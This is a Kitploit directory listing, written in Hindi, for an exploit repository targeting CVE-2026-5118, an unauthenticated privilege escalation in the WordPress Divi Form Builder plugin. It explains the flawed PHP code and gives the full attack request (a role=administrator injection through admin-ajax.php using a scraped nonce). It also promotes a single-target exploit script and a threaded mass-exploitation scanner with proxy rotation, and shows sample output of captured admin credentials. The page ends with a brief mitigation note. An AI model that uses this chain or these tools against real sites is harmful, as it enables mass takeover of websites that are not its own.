Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/1beelze/cve-2026-5118
विशेषाधिकार वृद्धिपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHub1beelze/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 के लिए स्वचालित एक्सप्लॉइट और मास स्कैनर, WordPress Divi Form Builder <=5.1.2 में बिना प्रमाणीकरण के विशेषाधिकार वृद्धि, भूमिका इंजेक्शन के माध्यम से व्यवस्थापक खाता निर्माण सक्षम करता है।

421 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

भूमिका इंजेक्शन के माध्यम से अप्रमाणित विशेषाधिकार वृद्धि
=== Beelze ( zeroday 1diot9 ) ===


📋 भेद्यता जानकारी

क्षेत्रविवरण
CVE IDCVE-2026-5118
CVSS स्कोर9.8 (क्रिटिकल)
CVSS वेक्टरCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-269 — अनुचित विशेषाधिकार प्रबंधन
प्लगइनDivi Form Builder (Divi Engine द्वारा)
प्रभावितसभी संस्करण ≤ 5.1.2
पैच किया गया5.1.3 (13 अप्रैल, 2026)
प्रकाशित20 मई, 2026
शोधकर्ता0xd4rk5id3 — EnvoraSec
PoCBeelze ( zeroday 1diot9 )

🔍 विवरण

WordPress के लिए Divi Form Builder प्लगइन 5.1.2 तक के सभी संस्करणों में अप्रमाणित विशेषाधिकार वृद्धि के प्रति संवेदनशील है।

FormSubmissionHandler.php के अंदर create_user() फ़ंक्शन उपयोगकर्ता पंजीकरण के दौरान POST डेटा से एक उपयोगकर्ता-नियंत्रित role पैरामीटर स्वीकार करता है बिना इसे फॉर्म के कॉन्फ़िगर किए गए default_user_role सेटिंग के विरुद्ध मान्य किए। एकमात्र "सुरक्षा" sanitize_text_field() है — जो HTML टैग और एन्कोडिंग को हटाता है, लेकिन मान को सुरक्षित भूमिकाओं तक सीमित करने के लिए कुछ नहीं करता — इसके बाद एक अस्तित्व जांच होती है जो केवल यह सत्यापित करती है कि भूमिका WordPress में मौजूद है (और administrator हमेशा मौजूद होता है)।

यह तिहरी विफलता अप्रमाणित हमलावरों को अनुमति देती है:

  1. Divi Form Builder फॉर्म वाला कोई भी पेज खोजें (संपर्क, उद्धरण, समाचार पत्रिका — कोई फर्क नहीं पड़ता)
  2. de_fb_obj जावास्क्रिप्ट ऑब्जेक्ट से ग्लोबल शेयर्ड नॉन्स (fb_nonce) निकालें
  3. POST के माध्यम से form_type को register में ओवरराइड करें — किसी भी फॉर्म को पंजीकरण एंडपॉइंट में बदलें
  4. AJAX सबमिशन में role=administrator इंजेक्ट करें
  5. हमलावर-नियंत्रित क्रेडेंशियल्स के साथ पूर्ण व्यवस्थापक खाता बनाएं

परिणाम: पूर्ण साइट अधिग्रहण — शून्य प्रमाणीकरण, शून्य उपयोगकर्ता इंटरैक्शन, एक POST अनुरोध।


🧬 मूल कारण विश्लेषण

1. अस्वच्छित भूमिका इनपुट POST डेटा से

root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← ONLY strips tags/encoding!
    : 'subscriber';                              // ← 'administrator' passes CLEAN

sanitize_text_field() मुक्त-पाठ स्वच्छता (XSS रोकथाम) के लिए डिज़ाइन किया गया है। यह सुरक्षित भूमिकाओं की अनुमति सूची के विरुद्ध मान्य नहीं करता। स्ट्रिंग "administrator" में कोई HTML टैग नहीं, कोई विशेष एन्कोडिंग नहीं — यह पूरी तरह से अछूता गुज़रता है।

2. केवल अस्तित्व सत्यापन — सुरक्षा जांच नहीं

root@kitploit:~
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← fallback ONLY if role doesn't exist
}

यह जांच पूछती है: "क्या यह भूमिका WordPress में मौजूद है?" — और administrator हमेशा मौजूद होता है। यह कभी सही प्रश्न नहीं पूछता: "क्या यह भूमिका सार्वजनिक स्व-पंजीकरण के लिए सुरक्षित है?" एक उचित जांच ['subscriber', 'contributor'] जैसी अनुमति सूची के विरुद्ध मान्यता देगी या फॉर्म की default_user_role सेटिंग को लागू करेगी।

3. क्षमता गेट के बिना प्रत्यक्ष भूमिका असाइनमेंट

root@kitploit:~
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← attacker-controlled role applied directly!

कोई current_user_can('create_users') जांच नहीं। कोई current_user_can('promote_users') जांच नहीं। किसी भी प्रकार की क्षमता सत्यापन नहीं। हमलावर द्वारा आपूर्ति की गई भूमिका सीधे set_role() को पास की जाती है।

4. ग्लोबल शेर्ड नॉन्स — फॉर्म वाले प्रत्येक पेज पर उजागर

root@kitploit:~
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← SAME nonce on ALL forms, ALL pages
    // ...
]);

fb_nonce को wp_create_nonce('security') के माध्यम से बनाया जाता है — एक सामान्य क्रिया स्ट्रिंग जो साइट पर प्रत्येक DFB फॉर्म में साझा की जाती है। कोई भी आगंतुक de_fb_obj जावास्क्रिप्ट ऑब्जेक्ट को पढ़कर इसे पेज स्रोत से निकाल सकता है।

5. फॉर्म प्रकार ओवरराइड — कोई भी फॉर्म पंजीकरण एंडपॉइंट बन जाता है

root@kitploit:~
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← triggered by POST override!
}

form_type POST डेटा से पढ़ा जाता है, सर्वर-साइड फॉर्म कॉन्फ़िगरेशन से नहीं। एक हमलावर किसी भी DFB AJAX सबमिशन पर form_type=register भेज सकता है — एक संपर्क फॉर्म, एक उद्धरण अनुरोध, एक समाचार पत्रिका साइनअप — और सर्वर पंजीकरण कोड पथ को निष्पादित करेगा। फॉर्म का मूल उद्देश्य अप्रासंगिक है।


⚔️ हमला श्रृंखला

root@kitploit:~
[अप्रमाणित हमलावर]
         │
         ▼
   GET /any-page-with-dfb-form/
   ← HTML स्रोत: de_fb_obj = {"nonce":"abc123def0", ...}
         │
         ▼
   de_fb_obj जावास्क्रिप्ट ऑब्जेक्ट से fb_nonce निकालें
         │
         ▼
   POST /wp-admin/admin-ajax.php
   ┌──────────────────────────────────────────────┐
   │  action    = de_fb_ajax_submit_ajax_handler  │
   │  fb_nonce  = abc123def0                      │
   │  role      = administrator        ← इंजेक्ट किया गया │
   │  form_type = register          ← ओवरराइड किया गया  │
   │  user_login = attacker_admin                 │
   │  user_pass  = AttackerPass123!               │
   │  user_email = [email protected]              │
   └──────────────────────────────────────────────┘
         │
         ▼
   sanitize_text_field('administrator') → 'administrator'    ✓ passes
   wp_roles()->roles['administrator'] exists? → YES          ✓ passes
   $user->set_role('administrator')                          ✓ no capability check
         │
         ▼
   ← {"success": true, "data": {"message": "User created"}}
         │
         ▼
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 → /wp-admin/
         │
         ▼
   [पूर्ण व्यवस्थापक पहुंच] 🔥

🛠️ उपकरण

CVE-2026-5118.py — एकल लक्ष्य शोषण

स्वचालित फॉर्म खोज और नॉन्स निष्कर्षण के साथ पूर्ण 5-चरणीय शोषण श्रृंखला।

root@kitploit:~
python3 CVE-2026-5118.py
root@kitploit:~
  लक्ष्य URL: https://target.com
  उपयोगकर्ता नाम [beelze_admin]:
  पासवर्ड [Beelze123!!@#!]:
  ईमेल [[email protected]]:
  समय समाप्ति (सेकंड) [15]:
  SOCKS5 प्रॉक्सी (खाली = कोई नहीं):

शोषण चरण:

root@kitploit:~
Phase 1  ▶  पहुंच क्षमता (HTTPS + HTTP फ़ॉलबैक)
Phase 2  ▶  प्लगइन पहचान (readme.txt संस्करण जांच)
Phase 3  ▶  फॉर्म खोज और नॉन्स निष्कर्षण
             ├── REST API पेज स्कैन
             ├── सामान्य पथ जांच
             ├── साइटमैप क्रॉल
             └── होमपेज लिंक क्रॉल
Phase 4  ▶  भूमिका इंजेक्शन (विशेषाधिकार वृद्धि)
Phase 5  ▶  व्यवस्थापक लॉगिन सत्यापन

आउटपुट (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target.com | beelze_admin:Beelze123!!@#!

CVE-2026-5118-mass.py — सामूहिक स्कैनर

JSONL लॉगिंग और पुनः आरंभ समर्थन के साथ थ्रेडेड सामूहिक शोषण।

root@kitploit:~
python3 CVE-2026-5118-mass.py
root@kitploit:~
  लक्ष्य फ़ाइल (प्रति पंक्ति एक URL): targets.txt
  उपयोगकर्ता नाम [beelze_admin]:
  पासवर्ड [Beelze123!!@#!]:
  ईमेल [[email protected]]:
  थ्रेड [10]:
  समय समाप्ति (सेकंड) [10]:
  प्रॉक्सी फ़ाइल (SOCKS5, प्रति पंक्ति एक, खाली = कोई नहीं):
  पिछला स्कैन पुनः आरंभ करें? (y/n) [n]:

विशेषताएं:

  • कॉन्फ़िगर करने योग्य थ्रेड गणना के साथ बहु-थ्रेडेड स्कैनिंग
  • SOCKS5 प्रॉक्सी रोटेशन
  • प्रोग्रामेटिक प्रोसेसिंग के लिए JSONL आउटपुट
  • पुनः आरंभ समर्थन — पहले से स्कैन किए गए लक्ष्यों को छोड़ देता है
  • वास्तविक समय आँकड़ों के साथ समृद्ध प्रगति पट्टी
  • HTTPS विफल होने पर स्वचालित HTTP फ़ॉलबैक

आउटपुट (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!

🔒 शमन

  • Divi Form Builder को संस्करण 5.1.3 या बाद में अपडेट करें
  • पैच यह सुनिश्चित करता है कि निर्दिष्ट भूमिका हमेशा फॉर्म की default_user_role सेटिंग में सर्वर-साइड कॉन्फ़िगर की गई हो, POST डेटा से किसी भी उपयोगकर्ता-आपूर्ति role पैरामीटर को अनदेखा करते हुए।

Beelze ( zeroday 1diot9 ) — केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए

टूल डाउनलोड करें